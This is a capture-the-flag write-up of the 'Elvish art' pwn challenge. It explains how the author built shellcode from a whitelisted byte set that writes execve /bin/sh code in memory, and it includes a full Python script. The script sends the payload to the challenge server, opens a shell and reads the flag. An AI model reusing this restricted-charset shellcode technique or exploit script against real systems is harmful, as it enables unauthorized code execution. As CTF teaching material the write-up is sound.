Rating:
# Elvish art - Pwn (300)
The North Pole R&D Division has spent decades bringing machine language closer to elvish language. At last, they succeeded... in a way
Service: nc 3.81.191.176 1222
Download: [Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz](https://s3.amazonaws.com/advent2018/Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz)
Mirror: [Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz](./static/Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz)
## Disassembly
This problem is a fairly straightforward pwnable. Opening up the binary and disassembling I came up with the following (rough) pseudocode:
```
shellcode = mmap(length=0x100000, prot=RWX)
while True:
ch = readbyte()
if ch == 0xff:
jmp shellcode
elif strchr(ascii_art,ch) != NULL or ch == 0
append ch to shellcode
else
print("invalid char")
exit
```
So basically the problem setup is to construct shellcode from a restricted character set and send it to the server.
## Setup for Shellcode
First, I started by looking at the available byte values and determining what sort of instructions were available. Below is each byte and what an x86 instruction starting with that byte looks like:
```
db 0x00 add (various) [e??+??], [abc][lh]
db 0x0a or (various) [abc][lh], [e??+??]
db 0x20 and (various) [e??+??], [abc][lh]
db 0x27 daa? Decimal Adjust AL after Subtraction
db 0x28 sub (various) [e??+??], [abc][lh]
db 0x29 sub (various) [e??+??], e??
db 0x2a sub (various) ah, al, bh, ch, cl, bl
db 0x2d AABBCCDD sub eax,0xDDCCBBAA
db 0x2f das? Decimal Adjust AL after Subtraction;
db 0x3a cmp (various) ah, al, bh, ch, cl, bl
db 0x3c XX cmp al, XX
db 0x3d AABBCCDD cmp eax,0xDDCCBBAA
db 0x3e ds?
db 0x40 inc eax
db 0x4b dec ebx
db 0x4f dec edi
db 0x56 push esi
db 0x5b pop ebx
db 0x5c pop esp
db 0x5d pop ebp
db 0x5e pop esi
db 0x5f pop edi
db 0x60 pushad
db 0x6f outsd? -- outputs edx to serial port
db 0x7b XX jpo (parity odd)
db 0x7c XX jl
db 0x7d XX jge
db 0x7e XX jg
```
As a sanity check I tried making shellcode with just these bytes and `msfvenom`, but as I suspected the problem was not that easy and couldn't generate shellcode for me automatically.
```
$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x2b\x2c\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4c\x4d\x4e\x50\x51\x52\x53\x54\x55\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=25, char=0x08)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A valid encoding key could not be found.
Attempting to encode payload with 1 iterations of x86/countdown
Error: No valid set instruction could be created!
```
As a last piece of information gathering, I intentionally crashed the program around the 'jmp eax (shellcode)' instruction to see what the initial register values were when we jumped to the shellcode.
```
$ echo -e '\x00\x00\x00\xff' | LD_PRELOAD=/lib32/libSegFault.so ./chal
Looks like valid ASCII art to me!!
*** Segmentation fault
Register dump:
EAX: f7be3000 EBX: 565fffbc ECX: 00000000 EDX: f7eb989c
ESI: f7eb8001 EDI: 00000000 EBP: ff936dd8 ESP: ff936dab
EIP: f7ce3004 EFLAGS: 00010282
CS: 0023 DS: 002b ES: 002b FS: 0000 GS: 0063 SS: 002b
Trap: 0000000e Error: 00000006 OldMask: 00000000
ESP/signal: ff936dab CR2: 00000000
FPUCW: ffff037f FPUSW: ffff0000 TAG: ffffffff
IPOFF: 00000000 CSSEL: 0023 DATAOFF: 0000ffff DATASEL: 002b
ST(0) 0000 0000000000000000 ST(1) 0000 0000000000000000
ST(2) 0000 0000000000000000 ST(3) 0000 0000000000000000
ST(4) 0000 0000000000000000 ST(5) 0000 0000000000000000
ST(6) 0000 0000000000000000 ST(7) 0000 0000000000000000
Backtrace:
Memory map:
565fe000-565ff000 r-xp 00000000 08:01 1056502 /home/john/elvishart/chal
565ff000-56600000 r--p 00000000 08:01 1056502 /home/john/elvishart/chal
56600000-56601000 rw-p 00001000 08:01 1056502 /home/john/elvishart/chal
57f49000-57f6b000 rw-p 00000000 00:00 0 [heap]
f7be3000-f7ce3000 rwxp 00000000 00:00 0
f7ce3000-f7eb5000 r-xp 00000000 08:01 808422 /lib32/libc-2.27.so
f7eb5000-f7eb6000 ---p 001d2000 08:01 808422 /lib32/libc-2.27.so
f7eb6000-f7eb8000 r--p 001d2000 08:01 808422 /lib32/libc-2.27.so
f7eb8000-f7eb9000 rw-p 001d4000 08:01 808422 /lib32/libc-2.27.so
f7eb9000-f7ebc000 rw-p 00000000 00:00 0
f7ed3000-f7ed6000 r-xp 00000000 08:01 808420 /lib32/libSegFault.so
f7ed6000-f7ed7000 r--p 00002000 08:01 808420 /lib32/libSegFault.so
f7ed7000-f7ed8000 rw-p 00003000 08:01 808420 /lib32/libSegFault.so
f7ed8000-f7eda000 rw-p 00000000 00:00 0
f7eda000-f7edd000 r--p 00000000 00:00 0 [vvar]
f7edd000-f7edf000 r-xp 00000000 00:00 0 [vdso]
f7edf000-f7f05000 r-xp 00000000 08:01 808418 /lib32/ld-2.27.so
f7f05000-f7f06000 r--p 00025000 08:01 808418 /lib32/ld-2.27.so
f7f06000-f7f07000 rw-p 00026000 08:01 808418 /lib32/ld-2.27.so
ff918000-ff939000 rw-p 00000000 00:00 0 [stack]
Segmentation fault (core dumped)
```
This showed that `EIP == EAX ==` pointer to shellcode, and `ECX == EDI == 0` - both good starting points.
## Creating Shellcode
With all of the above ready to go, I needed a way to construct arbitrary shellcode instructions (of any byte values) and then execute them. Luckily we have a lot of space for our shellcode to work with (0x100000 bytes). At this point, I took a look at what instructions were available and came up with the following strategy:
* set `eax` to a value farther along in the shellcode
* set some other register to a byte of new shellcode and write it to `*eax`
* increment `eax`
* fill the remaining space (between all of this logic and the new shellcode) with innocuous instructions - there's no `0x90` for a NOP-sled, but something similar should work
Ok, step 1 - set `eax` to the end of the shellcode. We have an arbitrary `sub eax, 0xDDCCBBAA` but need the `AA`, `BB`, `CC`, `DD` byte values to be from our whitelisted set of bytes. Four values which work are `0x4b3e4040`, `0x403d4040`, `0x3a3a4040`, and `0x3a3a4040` which sets `eax := eax + 0xfff00`. Perfect.
Step 2 - create shellcode in a designated register. Well, we know that `edi` is zero, and we have a `pushad` and `pop ebx` avaiable so use all three in concert to set `ebx` to zero. From there, we can call `dec ebx` to subtract from `ebx` one at a time until we have a byte of shellcode. And finally, when we have the right byte lined up in the low byte of `ebx` we can call `add [eax+0x0],bl` to move that low byte into `eax`. Finally increment `eax` to move into the next byte of shellcode.
Last step - get some sort of NOP-sled or meaningless instruction sled to our shellcode. I chose `inc eax` followed by some `0x00` bytes where the target shellcode would go (offset `0xfff00`).
Using some `execl(/bin/sh)` shellcode generated from `msfvenom` I constructed shellcode, converted it to bytes with [nasm](https://nasm.us/doc/nasmdoc2.html), and then sent it to the server followed by some shell commands to dump the flag. The final python code for all of this is given below:
```python
#!/usr/bin/env python3
import sys
import random
import subprocess
import socket
import time
def random_shellcode():
whitelist_bytes = b'\x00\x0a\x20\x27\x28\x29\x2a\x2d\x2f\x3a\x3c\x3d\x3e\x40\x4b\x4f\x56\x5b\x5c\x5d\x5e\x5f\x60\x6f\x7b\x7c\x7d\x7e'
whitelist_arr = list(whitelist_bytes)
arr = [random.choice(whitelist_arr) for i in range(1000000)]
with open('shellcode_random','wb') as f:
f.write(bytes(arr))
f.close()
subprocess.Popen(['ndisasm','-b','32','shellcode_random']).wait()
def real_shellcode():
# allocated space is 0x100000
# eax == shellcode, want eax + 0x100000-40ish
print('BITS 32')
print('sub eax,0x4b3e4040')
print('sub eax,0x403d4040')
print('sub eax,0x3a3a4040')
print('sub eax,0x3a3a4040')
# eax = eax + 0xfff00
print('pushad')
print('pop ebx') # edi
# ebx == 0
buf = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += b"\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += b"\x89\xe1\xcd\x80"
ebx = 0
for ch in buf:
n = (ebx-ch) % 256
for i in range(n):
print('dec ebx')
ebx = ebx - n
#print('add [eax+0x0],bl')
print('db 0x00,0x5C,0x20,0x00')
print('inc eax')
for i in range(0xfff00-0x0000186D):
print('inc eax')
for i in range(0x40):
print('db 0x00')
print('db 0xff')
#print("db 'id', 0x0a")
def connect_to_server():
s = socket.socket()
s.settimeout(10)
s.connect(('3.81.191.176',1222))
with open('gen_shell','rb') as f:
data = f.read(1024)
while len(data) > 0:
s.send(data)
data = f.read(1024)
f.close()
print(s.recv(50))
time.sleep(1)
s.send(b'id\n')
print(s.recv(10240).decode('ascii'))
s.send(b'cat flag\n')
print(s.recv(10240).decode('ascii'))
s.send(b'ls -al\n')
print(s.recv(10240).decode('ascii'))
s.send(b'ps aux\n')
print(s.recv(10240).decode('ascii'))
if __name__ == '__main__':
#random_shellcode()
#real_shellcode() # ./shellcode.py > gen_shell.asm && nasm gen_shell.asm
connect_to_server()
```
All of this gives us the flag:
```
$ ./shellcode.py
b'Looks like valid ASCII art to me!!\n'
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
AOTW{Every artist was 1st an amateur}
total 20
drwxr-xr-x 1 root root 4096 Dec 21 21:54 .
drwxr-xr-x 1 root root 4096 Dec 22 12:00 ..
-rwxr-xr-x 1 root root 5464 Dec 21 11:49 chal
-rw-r--r-- 1 1000 1000 38 Dec 21 21:34 flag
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4628 852 ? Ss Dec22 0:00 /bin/sh -c /usr/sbin/inetd -d
root 6 0.0 0.0 31872 2948 ? S Dec22 0:00 /usr/sbin/inetd -d
nobody 5663 0.0 0.0 8804 864 ? Ss 22:34 0:00 /usr/bin/timeout 60 /opt/chal
nobody 5664 3.0 0.0 4628 772 ? S 22:34 0:00 /bin/sh -c /bin/sh
nobody 5665 0.0 0.0 4628 828 ? S 22:34 0:00 /bin/sh
nobody 5669 0.0 0.0 34400 2796 ? R 22:34 0:00 ps aux
```